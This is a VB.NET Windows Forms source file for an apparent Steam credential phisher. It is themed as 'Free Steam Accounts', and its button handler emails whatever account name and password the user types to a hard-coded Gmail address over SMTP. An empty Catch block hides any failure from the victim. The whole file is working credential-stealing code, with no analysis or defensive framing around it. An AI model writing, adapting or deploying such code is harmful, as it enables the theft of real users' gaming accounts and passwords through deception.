Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Mymailmessage As New MailMessage()
        Try
            Mymailmessage.From = New MailAddress("fff@gmail.com")
            Mymailmessage.To.Add("fff@gmail.com")
            Mymailmessage.Subject = ("Free Steam Accounts by Zekaa^^")
            Mymailmessage.Body = ("Account : ") + TextBox1.Text  +  ("Password : ") + TextBox2.Text
            Dim STMP As New SmtpClient("smtp.gmail.com")
            STMP.Port = 587
            STMP.EnableSsl = True
            STMP.Credentials = New System.Net.NetworkCredential("fff@gmail.com", "password123")
            STMP.Send(Mymailmessage)
        Catch ex As Exception

        End Try
    End Sub
End Class